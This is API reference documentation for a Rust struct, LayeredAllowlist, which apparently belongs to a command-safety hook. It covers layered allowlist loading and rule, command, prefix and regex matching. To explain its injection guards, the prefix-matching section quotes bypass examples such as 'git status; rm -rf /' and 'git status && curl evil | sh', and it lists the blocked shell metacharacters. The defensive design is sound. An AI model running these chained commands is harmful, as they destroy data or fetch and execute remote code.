Struct LayeredAllowlist 

pub struct LayeredAllowlist {
    pub layers: Vec<LoadedAllowlistLayer>,
}

All allowlist layers, ordered by precedence (project > user > system).

Fields

layers: Vec<LoadedAllowlistLayer>

Implementations

impl LayeredAllowlist

pub fn load_from_paths( project: Option<PathBuf>, user: Option<PathBuf>, system: Option<PathBuf>, ) -> Self

Construct a layered allowlist from explicit file paths.

Any missing path is treated as an empty allowlist for that layer.

pub fn prepend_agent_exact_commands( &mut self, agent_key: &str, commands: &[String], )

Prepend agent-profile exact command entries to the allowlist stack.

Agent profile entries have the highest precedence and are intentionally exact-command only. The config field is named additional_allowlist, but accepting these strings as regexes would create a bypass path without the normal risk_acknowledged review gate.

pub fn lookup_rule( &self, rule: &RuleId, ) -> Option<(&AllowEntry, AllowlistLayer)>

Find the first matching rule entry across layers (project > user > system).

Note: This performs exact rule ID matching without wildcard expansion. Use match_rule for wildcard-aware matching.

This is a backward-compatible wrapper around lookup_rule_at_path with cwd = None. For path-aware matching, use lookup_rule_at_path instead.

Skips entries that are expired, have unmet conditions, or lack risk ack.

pub fn match_rule_at_path( &self, pack_id: &str, pattern_name: &str, cwd: Option<&Path>, ) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches a (pack_id, pattern_name) match identity.

Matching supports:

• Exact rule IDs: core.git:reset-hard
• Pack-scoped wildcard: core.git:* (matches any pattern in that pack)

An entry is skipped if:

• It has expired (expires_at is in the past)
• Its conditions are not met (env vars don’t match)
• It’s a regex pattern without risk_acknowledged = true
• It has path restrictions that don’t match the current working directory

Arguments

• pack_id - The pack identifier to match
• pattern_name - The pattern name to match (supports wildcard *)
• cwd - Optional current working directory for path-based filtering. If None, path restrictions are ignored (backward compatibility).

pub fn match_rule( &self, pack_id: &str, pattern_name: &str, ) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches a rule (backward-compatible, no path filtering).

This is a convenience wrapper around match_rule_at_path with cwd = None. For path-aware matching, use match_rule_at_path instead.

pub fn match_exact_command(&self, command: &str) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches an exact command string.

This is a backward-compatible wrapper around match_exact_command_at_path with cwd = None. For path-aware matching, use match_exact_command_at_path instead.

pub fn match_command_prefix(&self, command: &str) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches a command prefix.

pub fn lookup_rule_at_path( &self, rule: &RuleId, cwd: Option<&Path>, ) -> Option<(&AllowEntry, AllowlistLayer)>

Find the first matching rule entry at a specific path.

Like lookup_rule, but also checks if the CWD matches the entry’s path patterns.

pub fn match_exact_command_at_path( &self, command: &str, cwd: Option<&Path>, ) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches an exact command string at a specific path.

pub fn match_command_prefix_at_path( &self, command: &str, cwd: Option<&Path>, ) -> Option<AllowlistHit<'_>>

Find the first allowlist entry that matches a command prefix at a specific path.

A command_prefix = "..." entry must satisfy two conditions to allow a command:

1. The command must start with the prefix and the next character (if any) must be ASCII whitespace — i.e. the prefix must end at a token boundary. Without this guard, command_prefix = "git status" would match git statuses-and-actions (unintended) and, more importantly, git status; rm -rf / (a tail-injection bypass).

2. The tail (everything after the prefix) must not contain shell metacharacters that could chain in a second command: ;, &, |, \n, \r, `, $(, <(, >(, \\\n, or NUL. A user who explicitly opted into a CommandPrefix allowlist for git status did not opt into git status && curl evil | sh.

impl LayeredAllowlist

pub fn match_pattern_at_path( &self, command: &str, cwd: Option<&Path>, ) -> Option<AllowlistHit<'_>>

Find the first pattern = "..." allowlist entry that matches command at the current cwd. Pattern entries must additionally have risk_acknowledged = true (enforced by is_entry_valid); any without it are filtered upstream.

Pattern compilation uses a process-wide cache; broken regexes are cached as “no match” so they don’t crash the hook (fail-open) and don’t repeatedly re-attempt compilation.

Trait Implementations

impl Clone for LayeredAllowlist

fn clone(&self) -> LayeredAllowlist

Returns a duplicate of the value.

fn clone_from(&mut self, source: &Self)

Performs copy-assignment from source.

impl Debug for LayeredAllowlist

fn fmt(&self, f: &mut Formatter<'_>) -> Result

Formats the value using the given formatter.

impl Default for LayeredAllowlist

fn default() -> LayeredAllowlist

Returns the “default value” for a type.